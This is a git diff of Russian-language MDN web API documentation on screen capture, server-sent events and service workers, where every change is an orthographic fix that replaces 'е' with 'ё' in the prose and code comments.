    @@ -96,7 +96,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture

    К примеру, если определить ограничение  {{domxref("MediaTrackConstraints.width", "width")}} для видео, оно применится как масштабирование видео, после того, как пользователь выберет область, и не устанавливает ограничение на размер самого источника.

    -

    Примечание : Ограничения никогда не вызывают изменений в списке источников, доступных для захвата API Sharing Screen. Это гарантирует, что веб-приложения не могут заставить пользователя делиться определенным контентом, ограничивая исходный список, пока не останется только один элемент.

    +

    Примечание : Ограничения никогда не вызывают изменений в списке источников, доступных для захвата API Sharing Screen. Это гарантирует, что веб-приложения не могут заставить пользователя делиться определённым контентом, ограничивая исходный список, пока не останется только один элемент.

    В процессе захвата экрана машина, которая обменивается содержимым экрана, будет отображать какую-то форму индикатора, чтобы пользователь знал, что обмен находиться в процессе.

    @@ -111,7 +111,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture

    До запуска скрипта, который будет запрашивать возможность обмена аудио, проверьте реализацию  {{SectionOnPage("/en-US/docs/Web/API/MediaDevices/getDisplayMedia", "Browser compatibility", "code")}} , для понимания браузерной совместимости с функциональностью захвата аудио в поток захвата экрана.

    -

    Чтобы запросить доступ к экрану с включенным звуком, параметры ниже передаются в метод getDisplayMedia():

    +

    Чтобы запросить доступ к экрану с включённым звуком, параметры ниже передаются в метод getDisplayMedia():

    const gdmOptions = {
       video: true,
    @@ -119,7 +119,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture
     }
     
    -

    Это дает пользователю полную свободу выбора того, что он хочет, в пределах того, что поддерживает пользовательский агент. Это можно уточнить, указав дополнительную информацию для каждого свойства audio и video:

    +

    Это даёт пользователю полную свободу выбора того, что он хочет, в пределах того, что поддерживает пользовательский агент. Это можно уточнить, указав дополнительную информацию для каждого свойства audio и video:

    const gdmOptions = {
       video: {
    diff --git a/files/ru/web/api/selection/tostring/index.html b/files/ru/web/api/selection/tostring/index.html
    index 63899ce9d7..0e1dede357 100644
    --- a/files/ru/web/api/selection/tostring/index.html
    +++ b/files/ru/web/api/selection/tostring/index.html
    @@ -30,7 +30,7 @@ translation_of: Web/API/Selection/toString
     
     

    Этот метод возвращает выделенный текст.

    -

    В JavaScript, этот метод вызывается автоматически, когда функция, которой он передается, требует строку:

    +

    В JavaScript, этот метод вызывается автоматически, когда функция, которой он передаётся, требует строку:

    alert(window.getSelection()) // What is called
     alert(window.getSelection().toString())  // What is actually being effectively called.
    diff --git a/files/ru/web/api/server-sent_events/using_server-sent_events/index.html b/files/ru/web/api/server-sent_events/using_server-sent_events/index.html
    index 0bc2834743..bee580418a 100644
    --- a/files/ru/web/api/server-sent_events/using_server-sent_events/index.html
    +++ b/files/ru/web/api/server-sent_events/using_server-sent_events/index.html
    @@ -11,11 +11,11 @@ translation_of: Web/API/Server-sent_events/Using_server-sent_events
     
     

    Получение событий от сервера

    -

    Server-Sent Event API содержится внутри интерфейса {{domxref("EventSource")}}. Чтобы открыть соединение с сервером для начала записи событий, которые он присылает, необходимо создать новый объект EventSource, который будет указывать на URI скрипта, который создает события. Например:

    +

    Server-Sent Event API содержится внутри интерфейса {{domxref("EventSource")}}. Чтобы открыть соединение с сервером для начала записи событий, которые он присылает, необходимо создать новый объект EventSource, который будет указывать на URI скрипта, который создаёт события. Например:

    const evtSource = new EventSource("ssedemo.php");
    -

    Если файл с генератором событий размещен на другом домене, то должен быть создан новый объект EventSource в который следует передать помимо URI еще и словарь опций. Например, если предположить, что клиентский скрипт находится на example.com:

    +

    Если файл с генератором событий размещён на другом домене, то должен быть создан новый объект EventSource в который следует передать помимо URI ещё и словарь опций. Например, если предположить, что клиентский скрипт находится на example.com:

    const evtSource = new EventSource("//api.example.com/ssedemo.php", { withCredentials: true } ); 
     
    @@ -49,7 +49,7 @@ translation_of: Web/API/Server-sent_events/Using_server-sent_events

    Код на стороне сервера, который отправляет события, должен отвечать, используя MIME-тип text/event-stream. Каждое уведомление отправляется в виде блока текста, оканчивающегося парой новых строк (\n) . Подробнее о формате потока событий см.  {{ anch("Event stream format") }}.

    -

    {{Glossary("PHP")}} код, который мы используем для примера приведен ниже:

    +

    {{Glossary("PHP")}} код, который мы используем для примера приведён ниже:

    date_default_timezone_set("America/New_York");
     header('Cache-Control: no-cache');
    @@ -79,7 +79,7 @@ while (1) {
     }
     
    -

    Приведенный выше код генерирует событие каждую секунду с типом события «ping». Данные каждого события - это объект JSON, содержащий метку времени ISO 8601, соответствующую дате, когда было сгенерировано событие. Через случайные интервалы отправляется простое сообщение (без типа event).

    +

    Приведённый выше код генерирует событие каждую секунду с типом события «ping». Данные каждого события - это объект JSON, содержащий метку времени ISO 8601, соответствующую дате, когда было сгенерировано событие. Через случайные интервалы отправляется простое сообщение (без типа event).

    Примечание: Вы можете найти полный пример, который использует код, показанный в этой статье на GitHub - см. Simple SSE demo using PHP.

    @@ -106,7 +106,7 @@ while (1) {
    Примечание: Строка комментария может использоваться, чтобы предотвратить тайм-аут соединений; сервер может периодически отправлять комментарий, чтобы поддерживать соединение.
    -

    Каждое сообщение содержит одну или более строчек текста, которые перечисляют поля этого сообщения. Каждое имеет свое имя, за которым следует двоеточие, после которого идут текстовые данные для значения этого поля. 

    +

    Каждое сообщение содержит одну или более строчек текста, которые перечисляют поля этого сообщения. Каждое имеет своё имя, за которым следует двоеточие, после которого идут текстовые данные для значения этого поля. 

    Поля

    diff --git a/files/ru/web/api/service_worker_api/index.html b/files/ru/web/api/service_worker_api/index.html index 7d52ed2334..f7b0bbb1cd 100644 --- a/files/ru/web/api/service_worker_api/index.html +++ b/files/ru/web/api/service_worker_api/index.html @@ -21,7 +21,7 @@ translation_of: Web/API/Service_Worker_API

    Концепция и использование Service Worker

    -

    Service worker — это событийно-управляемый worker, регистрируемый на уровне источника и пути. Он представляет собой JavaScript-файл, который может контролировать веб-страницу/сайт, с которым он ассоциируется, перехватывать и модифицировать запросы навигации и ресурсов, очень гибко кешировать ресурсы, для того чтобы предоставить вам полный контроль над тем, как приложение ведет себя в определенных ситуациях (например, когда сеть не доступна).

    +

    Service worker — это событийно-управляемый worker, регистрируемый на уровне источника и пути. Он представляет собой JavaScript-файл, который может контролировать веб-страницу/сайт, с которым он ассоциируется, перехватывать и модифицировать запросы навигации и ресурсов, очень гибко кешировать ресурсы, для того чтобы предоставить вам полный контроль над тем, как приложение ведёт себя в определённых ситуациях (например, когда сеть не доступна).

    Service worker запускается в контексте воркеров, поэтому он не имеет доступа к DOM и работает в потоке отдельном от основного потока JavaScript, управляющего вашим приложением, а следовательно — не блокирует его. Он призван быть полностью асинхронным; как следствие, синхронные API, такие как XHR и localStorage, в Service Worker'е использовать нельзя.

    @@ -55,7 +55,7 @@ translation_of: Web/API/Service_Worker_API

    Установка производится в случае если загружаемый файл признается новым — либо отличным от уже установленного service worker (определяется через побайтовое сравнение), либо первым устанавливаемым service воркером для этой страницы/сайта.

    -

    Если это первый раз, когда service worker оказался доступен, будет проведена установка, а после успешного ее завершения — активация.

    +

    Если это первый раз, когда service worker оказался доступен, будет проведена установка, а после успешного её завершения — активация.

    Если service worker уже существует, новая версия устанавливается в фоновом режиме, но не активируется — worker переходит в состояние в ожидании. Новая версия активируется только тогда, когда больше не останется загруженных страниц, использующих старый service worker. Как только это случится, новый service worker активируется (станет активным воркером). Активация может произойти раньше при использовании {{domxref ("ServiceWorkerGlobalScope.skipWaiting()")}}, а существующие страницы могут быть переведены под контроль активного воркера с помощью {{domxref ("Clients.claim()")}}.

    @@ -63,7 +63,7 @@ translation_of: Web/API/Service_Worker_API

    Есть также событие activate. Момент, когда это событие наступает, является удачным для очистки старого кеша и всего, что ассоциировалось с предыдущей версией вашего service worker'а.

    -

    Service worker может отвечать на запросы, используя событие {{domxref("FetchEvent")}}. Вы можете изменять ответ на эти запросы на свое усмотрение используя метод {{domxref("FetchEvent.respondWith") }}.

    +

    Service worker может отвечать на запросы, используя событие {{domxref("FetchEvent")}}. Вы можете изменять ответ на эти запросы на своё усмотрение используя метод {{domxref("FetchEvent.respondWith") }}.

    Заметка: Так как выполнение oninstall/onactivate может занять время, спецификация service worker предоставляет метод waitUntil, который возвращает промис, когда вызывается oninstall или onactivate. Функциональные события не отправляются service worker, пока промис не завершится успешно.

    @@ -78,7 +78,7 @@ translation_of: Web/API/Service_Worker_API
    • Фоновая синхронизация данных
    • Ответ на запросы от других источников
    • -
    • Получение централизованного обновления для данных использующих тяжелые вычисления, таких как геолокация или гироскоп, для того чтобы несколько станиц могли использовать одни и те же данные
    • +
    • Получение централизованного обновления для данных использующих тяжёлые вычисления, таких как геолокация или гироскоп, для того чтобы несколько станиц могли использовать одни и те же данные
    • Компиляция и управление зависимостями на клиентской стороне для CoffeeScript, less, CJS/AMD модулей и т.д. для целей разработки
    • Подписка на фоновые сервисы
    • Кастомная шаблонизация, основанная на определённых паттернах URL
    • @@ -90,7 +90,7 @@ translation_of: Web/API/Service_Worker_API
      • Фоновой синхронизации: запускать service worker даже когда ни одного пользователя нет на сайте, чтобы обновить кеш.
      • Реакции на пуш-сообщения: запускать service worker для отправки сообщений пользователям, чтобы оповестить их о новом доступном контенте.
      • -
      • Реакции на определенное время и дату
      • +
      • Реакции на определённое время и дату
      • Введение гео-ограничений
      @@ -100,7 +100,7 @@ translation_of: Web/API/Service_Worker_API
      {{domxref("Cache") }}
      Представляет хранилище для объектов {{domxref("Request")}} / {{domxref("Response")}}, которые кешируются, как часть жизненного цикла {{domxref("ServiceWorker")}}.
      {{domxref("CacheStorage") }}
      -
      Представляет хранилище для объектов {{domxref("Cache")}}. Он создает главную директорию для всех именованных кешей, к которым {{domxref("ServiceWorker")}} имеет доступ, и поддерживает отображение строковых имен соответствующего объекта {{domxref("Cache")}}.
      +
      Представляет хранилище для объектов {{domxref("Cache")}}. Он создаёт главную директорию для всех именованных кешей, к которым {{domxref("ServiceWorker")}} имеет доступ, и поддерживает отображение строковых имён соответствующего объекта {{domxref("Cache")}}.
      {{domxref("Client") }}
      Представляет область видимости клиента service worker. Это либо документ в контексте браузера, либо {{domxref("SharedWorker")}}, который контролируется активным воркером.
      {{domxref("Clients") }}
      diff --git a/files/ru/web/api/service_worker_api/using_service_workers/index.html b/files/ru/web/api/service_worker_api/using_service_workers/index.html index bab45149a6..4fc2235590 100644 --- a/files/ru/web/api/service_worker_api/using_service_workers/index.html +++ b/files/ru/web/api/service_worker_api/using_service_workers/index.html @@ -83,7 +83,7 @@ translation_of: Web/API/Service_Worker_API/Using_Service_Workers

      В первом примере код, идущий за вызовом функции myFunction(), будет ждать завершения вызова и возврата значения. Во втором примере myFunction() возвращает промис для value, в этом случае, последующий код сможет выполняться, не дожидаясь завершения основной работы функции. Когда промис разрешится, код, переданный методу then, будет выполнен асинхронно.

      -

      А вот вам реальный пример: что, если мы хотим загружать изображения динамически, к тому же мы желаем удостовериться, что изображения загрузились до того, как они будут показаны? То, что мы хотим сделать, является стандартной задачей, но она все же может доставить головной боли. Мы можем использовать .onload, чтобы показать изображение только после загрузки, но что делать с событиями, которые могут произойти до того, как мы начнем их слушать? Мы могли бы использовать .complete, но оно все еще ненадежно, да и что делать с повторяющимися изображениями? И наконец все это работает синхронно, блокируя главный поток.

      +

      А вот вам реальный пример: что, если мы хотим загружать изображения динамически, к тому же мы желаем удостовериться, что изображения загрузились до того, как они будут показаны? То, что мы хотим сделать, является стандартной задачей, но она все же может доставить головной боли. Мы можем использовать .onload, чтобы показать изображение только после загрузки, но что делать с событиями, которые могут произойти до того, как мы начнём их слушать? Мы могли бы использовать .complete, но оно все ещё ненадёжно, да и что делать с повторяющимися изображениями? И наконец все это работает синхронно, блокируя главный поток.

      Вместо этого мы можем написать собственный промис для работы с подобными случаями. (Вы можете найти исходный код в нашем примере Promises test или взглянуть на живое демо.)

      @@ -111,9 +111,9 @@ translation_of: Web/API/Service_Worker_API/Using_Service_Workers }); }
    -

    Мы возвращаем новый промис, созданный конструктором Promise(), который в качестве аргумента принимает функцию с параметрами resolve и reject. Где-то внутри функции мы должны определить случаи, при которых промис должен быть разрешен или отклонен, — в нашем случае, в зависимости от того, вернулся ли статус 200 ОК или нет, будут вызваны resolve в случае успеха или reject при неудаче. Последующее содержимое этой функции — вполне стандартное XHR-наполнение, поэтому на данный момент не стоит о нем волноваться.

    +

    Мы возвращаем новый промис, созданный конструктором Promise(), который в качестве аргумента принимает функцию с параметрами resolve и reject. Где-то внутри функции мы должны определить случаи, при которых промис должен быть разрешён или отклонён, — в нашем случае, в зависимости от того, вернулся ли статус 200 ОК или нет, будут вызваны resolve в случае успеха или reject при неудаче. Последующее содержимое этой функции — вполне стандартное XHR-наполнение, поэтому на данный момент не стоит о нем волноваться.

    -

    Вызывая функцию imgLoad(), мы ожидаемо передаем в качестве параметра url изображения, которое хотим загрузить, но далее код немного отличается:

    +

    Вызывая функцию imgLoad(), мы ожидаемо передаём в качестве параметра url изображения, которое хотим загрузить, но далее код немного отличается:

    let body = document.querySelector('body');
     let myImage = new Image();
    @@ -126,7 +126,7 @@ imgLoad('myLittleVader.jpg').then((response) => {
       console.log(Error);
     });
    -

    После вызова функции мы "цепляем" к ней вызов промис-метода then(), которому в качестве параметров передаем две функции - первая будет вызвана в случае выполнения промиса, созданного вызовом функции imgLoad(), вторая функция будет вызвана в случае отклонения этого промиса. В случае выполнения мы показываем изображение в элементе myImage, который прикрепляем к body (аргументом является request.response, помещенный в промис-методе resolve); в случае отклонения промиса в консоли будет отображено сообщение об ошибке.

    +

    После вызова функции мы "цепляем" к ней вызов промис-метода then(), которому в качестве параметров передаём две функции - первая будет вызвана в случае выполнения промиса, созданного вызовом функции imgLoad(), вторая функция будет вызвана в случае отклонения этого промиса. В случае выполнения мы показываем изображение в элементе myImage, который прикрепляем к body (аргументом является request.response, помещённый в промис-методе resolve); в случае отклонения промиса в консоли будет отображено сообщение об ошибке.

    Все это происходит асинхронно.

    @@ -141,14 +141,14 @@ imgLoad('myLittleVader.jpg').then((response) => {

    Демонстрация Service Workers

    -

    Чтобы продемонстрировать только базовые моменты регистрации и установки сервис-воркеров, мы создали простое демо-приложение, названое sw-test. Это простая галерея изображений "Star wars Lego". Оно использует промис-функции, чтобы прочитать из JSON-объекта и загрузить, используя технологию Ajax, изображения, находящиеся далее нижнего края страницы, до того как они будут показаны. В приложении также еще регистрируется, устанавливается и активируется сервис-воркер, и, в случае если браузер поддерживает спецификацию Service Worker, запрашиваемые ресурсы будут закешированы, и приложение будет работать в offline-режиме!

    +

    Чтобы продемонстрировать только базовые моменты регистрации и установки сервис-воркеров, мы создали простое демо-приложение, названое sw-test. Это простая галерея изображений "Star wars Lego". Оно использует промис-функции, чтобы прочитать из JSON-объекта и загрузить, используя технологию Ajax, изображения, находящиеся далее нижнего края страницы, до того как они будут показаны. В приложении также ещё регистрируется, устанавливается и активируется сервис-воркер, и, в случае если браузер поддерживает спецификацию Service Worker, запрашиваемые ресурсы будут закешированы, и приложение будет работать в offline-режиме!



    Вы можете посмотреть исходный код на GitHub, а также этот живой пример. Единственное, что мы тут рассмотрим, это промис (смотрите app.js строки 22-47), модифицированная версия того, о котором вы читали выше в разделе Тестовая демонстрация промисов. Разница в следующем:

      -
    1. Ранее мы передавали параметром лишь URL изображения, которое мы хотели загрузить. Теперь же, мы передаем JSON-фрагмент, содержащий все данные для изображения (посмотрите, как это выглядит в image-list.js). Это сделано потому, что все данные для выполнения каждого промиса должны быть переданы ему, так как он выполняется асинхронно. Если же вы передали лишь URL, а чуть позже попытались получить доступ к другим атрибутам в JSON-фрагменте внутри цикла for(), это бы не сработало, так как этот промис не был бы выполнен во время текущей итерации цикла (это синхронный процесс).
    2. +
    3. Ранее мы передавали параметром лишь URL изображения, которое мы хотели загрузить. Теперь же, мы передаём JSON-фрагмент, содержащий все данные для изображения (посмотрите, как это выглядит в image-list.js). Это сделано потому, что все данные для выполнения каждого промиса должны быть переданы ему, так как он выполняется асинхронно. Если же вы передали лишь URL, а чуть позже попытались получить доступ к другим атрибутам в JSON-фрагменте внутри цикла for(), это бы не сработало, так как этот промис не был бы выполнен во время текущей итерации цикла (это синхронный процесс).
    4. Теперь мы выполняем промис с параметром-массивом, так как дальше мы хотим сделать загруженные данные изображения доступными для разрешающей функции, одновременно с именем файла, данными авторства и замещающим текстом (см. app.js строки 31-34). Промисы будут выполняться со всего одним аргументом, поэтому, если вы хотите выполнить их с несколькими параметрами, вы должны использовать массив/объект.
    5. Затем, чтобы получить доступ к выполненным значениям промисов, мы обращаемся к ним так, как было задумано (смотрите app.js строки 60-64). По началу это может выглядеть немного странно, но именно так и работают промисы.
    @@ -182,7 +182,7 @@ imgLoad('myLittleVader.jpg').then((response) => {

    Предыдущий код регистрирует сервис-воркера, который работает в worker-контексте, и следовательно, не имеет доступа к DOM. Затем вы запускаете код в сервис-воркере, вне ваших страниц, чтобы контролировать их загрузку.

    -

    Один сервис-воркер может контролировать несколько страниц. Каждый раз, когда загружается страница, находящаяся в пределах области видимости, сервис-воркер будет установлен на ней и начнет работу. Поэтому будьте осторожны с применением глобальных переменных в скриптах сервис-воркеров, потому как у каждой страницы нет своего уникального экземпляра сервис-воркера.

    +

    Один сервис-воркер может контролировать несколько страниц. Каждый раз, когда загружается страница, находящаяся в пределах области видимости, сервис-воркер будет установлен на ней и начнёт работу. Поэтому будьте осторожны с применением глобальных переменных в скриптах сервис-воркеров, потому как у каждой страницы нет своего уникального экземпляра сервис-воркера.

    На заметку: Сервис-воркеры функционально похожи на прокси-серверы, они позволяют модифицировать запросы и ответы, замещая записями из собственного кеша, и многое другое.

    @@ -192,7 +192,7 @@ imgLoad('myLittleVader.jpg').then((response) => {

    На заметку: Есть одна очень хорошая особенность при работе с сервис-воркерами. В случае, если вы используете функционал проверки поддержки Service Worker, то приложение в браузерах, не имеющих поддержки, продолжат нормально работать с ожидаемым поведением. Кроме того, если браузер поддерживает только AppCache, то будет использована эта технология. В случае, если браузер поддерживает и AppCache и Service Worker, то будет использована Service Worker.

    -

    Почему мой сервис-воркер не прошел регистрацию?

    +

    Почему мой сервис-воркер не прошёл регистрацию?

    Это может произойти по следующим причинам:

    @@ -222,7 +222,7 @@ imgLoad('myLittleVader.jpg').then((response) => {

    На заметку: Cache API поддерживается не всеми браузерами (смотрите раздел {{anch("Browser support")}} чтобы получить больше информации). Если вы хотите сейчас использовать эту технологию, то можете рассмотреть возможность использования полифила, который доступен в Google's Topeka demo, или можете хранить ресурсы в IndexedDB.

    -

    Давайте начнем этот раздел посмотрев на фрагмент кода ниже — это первый блок кода, который вы увидите в нашем сервис-воркере:

    +

    Давайте начнём этот раздел посмотрев на фрагмент кода ниже — это первый блок кода, который вы увидите в нашем сервис-воркере:

    self.addEventListener('install', (event) => {
       event.waitUntil(
    @@ -246,12 +246,12 @@ imgLoad('myLittleVader.jpg').then((response) => {
     
    1. Здесь мы добавляем обработчик события install к сервис-воркеру (отныне self), и затем вызываем метод {{domxref("ExtendableEvent.waitUntil()") }} объекта события. Такая конструкция гарантирует, что сервис-воркер не будет установлен, пока код, переданный внутри waitUntil(), не завершится с успехом.
    2. Внутри waitUntil() мы используем метод caches.open(), чтобы создать новый кеш, который назовём v1, это будет первая версия кеша ресурсов. Этот метод возвращает промис для созданного кеша; когда он выполнится, у объекта созданного кеша мы вызовем метод addAll(), который в качестве параметра ожидает получить массив origin-относительных URL всех ресурсов, которые мы хотим хранить в кеше.
    3. -
    4. Если промис будет отклонен, то установка будет завершена неудачно, и воркер ничего не сделает. Это хорошо, потому как вы можете исправить свой код и затем попробовать провести регистрацию в следующий раз.
    5. +
    6. Если промис будет отклонён, то установка будет завершена неудачно, и воркер ничего не сделает. Это хорошо, потому как вы можете исправить свой код и затем попробовать провести регистрацию в следующий раз.
    7. После успешной установки сервис-воркер активируется. Этот момент не очень важен при первоначальной установке/активации сервис-воркера, в то же время он имеет большое значение, когда происходит обновление воркера (смотрите раздел {{anch("Обновление вашего сервис-воркера")}}, находящийся ниже).
    -

    На заметку: localStorage работает схожим образом, но в синхронном режиме, поэтому запрещен в сервис-воркерах.

    +

    На заметку: localStorage работает схожим образом, но в синхронном режиме, поэтому запрещён в сервис-воркерах.

    @@ -264,7 +264,7 @@ imgLoad('myLittleVader.jpg').then((response) => {

    -

    Событие fetch возникает каждый раз, когда запрашиваются любые подконтрольные сервис-воркеру ресурсы, к которым относятся документы из области видимости и другие ресурсы, связанные с этими документами (например, если в index.html происходит кросс-доменный запрос для загрузки изображения, то он тоже попадет в сервис-воркер).

    +

    Событие fetch возникает каждый раз, когда запрашиваются любые подконтрольные сервис-воркеру ресурсы, к которым относятся документы из области видимости и другие ресурсы, связанные с этими документами (например, если в index.html происходит кросс-доменный запрос для загрузки изображения, то он тоже попадёт в сервис-воркер).

    Вы можете подключить к сервис-воркеру обработчик события fetch и внутри него на объекте события вызвать метод respondWith(), чтобы заменить ответы и показать собственную "магию".

    @@ -322,7 +322,7 @@ event.request.body

    Восстановление неудачных запросов

    -

    Итак, caches.match(event.request) отработает как нужно только в том случае, если в кеше сервис-воркера будет найдено соответствие запросу. Но что произойдет, если такого соответствия не будет найдено? Если мы не предоставим никакого механизма обработки такой ситуации, то промис выполнится со значением undefined и мы не получим никакого значения.

    +

    Итак, caches.match(event.request) отработает как нужно только в том случае, если в кеше сервис-воркера будет найдено соответствие запросу. Но что произойдёт, если такого соответствия не будет найдено? Если мы не предоставим никакого механизма обработки такой ситуации, то промис выполнится со значением undefined и мы не получим никакого значения.

    К счастью, сервис-воркеры имеют структуру основанную на промисах, что делает тривиальной такую обработку и предоставляет большое количество способов успешно обработать запрос:

    @@ -334,9 +334,9 @@ event.request.body
    ); }); -

    Если промис будет отклонен, функция catch() вернет обычный сетевой запрос к внешнему ресурсу. Это значит, что, если сеть доступна, то ресурс просто загрузится с сервера.

    +

    Если промис будет отклонён, функция catch() вернёт обычный сетевой запрос к внешнему ресурсу. Это значит, что, если сеть доступна, то ресурс просто загрузится с сервера.

    -

    Если же мы были достаточно умны, то мы не стали бы просто возвращать сетевой запрос, а сохранили бы его результат в кеше, чтобы иметь возможность получить его в offline-режиме. В случае с нашим демо-приложением "Star Wars gallery", это означает, что, если в галерею будет добавлено еще одно изображение, то оно будет получено и сохранено в кеше:

    +

    Если же мы были достаточно умны, то мы не стали бы просто возвращать сетевой запрос, а сохранили бы его результат в кеше, чтобы иметь возможность получить его в offline-режиме. В случае с нашим демо-приложением "Star Wars gallery", это означает, что, если в галерею будет добавлено ещё одно изображение, то оно будет получено и сохранено в кеше:

    self.addEventListener('fetch', (event) => {
       event.respondWith(
    @@ -351,11 +351,11 @@ event.request.body
    ); }); -

    Здесь мы возвращаем обычный сетевой запрос, который возвращен вызовом fetch(event.request); этот запрос также является промисом. Когда промис разрешится, мы получим кеш вызвав caches.open('v1'); этот метод также возвращает промис. Когда разрешится уже второй промис, будет использован вызов cache.put(), чтобы поместить ресурс в кеш. Ресурс получен через event.request, а ответ — через клонирование response.clone(). Клон помещается в кеш, а оригинальный ответ передается браузеру, который передает его странице, которая запросила ресурс.

    +

    Здесь мы возвращаем обычный сетевой запрос, который возвращён вызовом fetch(event.request); этот запрос также является промисом. Когда промис разрешится, мы получим кеш вызвав caches.open('v1'); этот метод также возвращает промис. Когда разрешится уже второй промис, будет использован вызов cache.put(), чтобы поместить ресурс в кеш. Ресурс получен через event.request, а ответ — через клонирование response.clone(). Клон помещается в кеш, а оригинальный ответ передаётся браузеру, который передаёт его странице, которая запросила ресурс.

    -

    Почему? Потому что потоки запроса и ответа могут быть прочитаны только единожды. Чтобы ответ был получен браузером и сохранен в кеше, нам нужно клонировать его. Так оригинальный объект отправится браузеру, а клон будет закеширован. Оба они будут прочитаны единожды.

    +

    Почему? Потому что потоки запроса и ответа могут быть прочитаны только единожды. Чтобы ответ был получен браузером и сохранён в кеше, нам нужно клонировать его. Так оригинальный объект отправится браузеру, а клон будет закеширован. Оба они будут прочитаны единожды.

    -

    У нас все ещё остается единственная проблема - если на какой-либо запрос в кеше не будет найдено соответствие, и в этот момент сеть не доступна, то наш запрос завершится неудачно. Давайте реализуем запасной вариант по умолчанию, при котором пользователь, в описанном случае, будет получать хоть что-нибудь:

    +

    У нас все ещё остаётся единственная проблема - если на какой-либо запрос в кеше не будет найдено соответствие, и в этот момент сеть не доступна, то наш запрос завершится неудачно. Давайте реализуем запасной вариант по умолчанию, при котором пользователь, в описанном случае, будет получать хоть что-нибудь:

    self.addEventListener('fetch', (event) => {
       event.respondWith(
    @@ -406,7 +406,7 @@ event.request.body

    Удаление старого кеша

    -

    Вы можете обрабатывать событие activate. Оно обычно используется в случае, если нужно выполнить такие действия, которые бы нарушили работу воркеров предыдущей версии, если они все еще работают со старым кешем. Также это событие полезно использовать для того, чтобы удалить ненужные данные, чтобы освободить место, занимаемое на диске, потому что каждый браузер имеет жесткие ограничения на размер хранилища кеша, которое доступно для использования сервис-воркерами.

    +

    Вы можете обрабатывать событие activate. Оно обычно используется в случае, если нужно выполнить такие действия, которые бы нарушили работу воркеров предыдущей версии, если они все ещё работают со старым кешем. Также это событие полезно использовать для того, чтобы удалить ненужные данные, чтобы освободить место, занимаемое на диске, потому что каждый браузер имеет жёсткие ограничения на размер хранилища кеша, которое доступно для использования сервис-воркерами.

    Promise, переданный в waitUntil(), заблокирует другие события до своего завершения, поэтому можно быть уверенным, что процесс очистки закончится раньше, чем выполнится первое событие fetch на основе нового кеша.

    diff --git a/files/ru/web/api/serviceworker/scripturl/index.html b/files/ru/web/api/serviceworker/scripturl/index.html index c01cb6c968..a0453d4354 100644 --- a/files/ru/web/api/serviceworker/scripturl/index.html +++ b/files/ru/web/api/serviceworker/scripturl/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/ServiceWorker/scriptURL ---
    {{APIRef("Service Workers API")}}
    -

    Возвращает URL, указывающий на скрипт данного Service Worker, определенный с помощью ServiceWorkerRegistration. URL должен находиться в том же домене, что и документ, регистрирующий ServiceWorker.

    +

    Возвращает URL, указывающий на скрипт данного Service Worker, определённый с помощью ServiceWorkerRegistration. URL должен находиться в том же домене, что и документ, регистрирующий ServiceWorker.

    Синтаксис

    diff --git a/files/ru/web/api/serviceworkercontainer/register/index.html b/files/ru/web/api/serviceworkercontainer/register/index.html index 7fd83f836c..3c86ae2687 100644 --- a/files/ru/web/api/serviceworkercontainer/register/index.html +++ b/files/ru/web/api/serviceworkercontainer/register/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/ServiceWorkerContainer/register ---

    {{SeeCompatTable}}{{APIRef("Service Workers API")}}

    -

    register() метод {{domxref("ServiceWorkerContainer")}} интерфейса который создает и обновляет ServiceWorkerRegistration  для указанного URL js скрипта.

    +

    register() метод {{domxref("ServiceWorkerContainer")}} интерфейса который создаёт и обновляет ServiceWorkerRegistration  для указанного URL js скрипта.

    Если удачно, service worker registration связывается по указанному URL js скрипта , который соответственно используется для проверки совпадения при навигации по URL. Если метод не возвращает ServiceWorkerRegistration, он возвращает Promise. Есть возможность вызвать этот метод без проверки на условие, т.е. нет необходимости сначала проверять существует ли активная регистрация в данный момент или нет.

    @@ -33,13 +33,13 @@ translation_of: Web/API/ServiceWorkerContainer/register

    Пример использования

    -

    Примеры кода, приведенные ниже, должны рассматриваться вместе для лучшего понимания того, как применяется scope service worker-ов к конкретной странице.

    +

    Примеры кода, приведённые ниже, должны рассматриваться вместе для лучшего понимания того, как применяется scope service worker-ов к конкретной странице.

    Следующий пример использует дефолтный scope (не указывая его прямо). Service worker в этом случае будет контролировать example.com/index.html и страницы, расположенные "глубже", например example.com/product/description.html.

    if ('serviceWorker' in navigator) {
       // Регистрация service worker-а, расположенного в корне сайта
    -  // за счет использования дефолтного scope (не указывая его)
    +  // за счёт использования дефолтного scope (не указывая его)
       navigator.serviceWorker.register('/sw.js').then(function(registration) {
         console.log('Service worker зарегистрирован:', registration);
       }).catch(function(error) {
    @@ -50,7 +50,7 @@ translation_of: Web/API/ServiceWorkerContainer/register
       console.log('Текущий браузер не поддерживает service worker-ы');
     }
    -

    Следующий пример, если он размещен на странице корня сайта, будет применен ровно к тем же страницам, что и пример выше. Помните, scope, если он указан, использует path страницы в качестве своей базы. Это значит, что, если следующий пример будет использоваться на странице example.com/product/description.html, то scope ./ будет означать, что service worker работает только со страницами внутри example.com/product. Если необходимо зарегистрировать service worker на example.com/product/description.html, и вы хотите, чтобы он обслуживал и корень, example.com, то scope лучше не указывать совсем, как в примере выше.

    +

    Следующий пример, если он размещён на странице корня сайта, будет применён ровно к тем же страницам, что и пример выше. Помните, scope, если он указан, использует path страницы в качестве своей базы. Это значит, что, если следующий пример будет использоваться на странице example.com/product/description.html, то scope ./ будет означать, что service worker работает только со страницами внутри example.com/product. Если необходимо зарегистрировать service worker на example.com/product/description.html, и вы хотите, чтобы он обслуживал и корень, example.com, то scope лучше не указывать совсем, как в примере выше.

    if ('serviceWorker' in navigator) {
       // Регистрация service worker-а, расположенного в корне сайта
    diff --git a/files/ru/web/api/serviceworkerregistration/pushmanager/index.html b/files/ru/web/api/serviceworkerregistration/pushmanager/index.html
    index 9ef0d95a7d..cc9b0097ba 100644
    --- a/files/ru/web/api/serviceworkerregistration/pushmanager/index.html
    +++ b/files/ru/web/api/serviceworkerregistration/pushmanager/index.html
    @@ -35,7 +35,7 @@ navigator.serviceWorker.register('serviceworker.js').then(
             // при помощи XMLHttpRequest.
           }, function(error) {
             // При разработке это часто помогает отлавливать ошибки в консоли.
    -        // В продакшен-среде это также может быть полезно для отправки отчета
    +        // В продакшен-среде это также может быть полезно для отправки отчёта
             // об ошибках на сервер приложения.
             console.log(error);
           }
    diff --git a/files/ru/web/api/serviceworkerregistration/shownotification/index.html b/files/ru/web/api/serviceworkerregistration/shownotification/index.html
    index fdcd0943fc..1be41dab02 100644
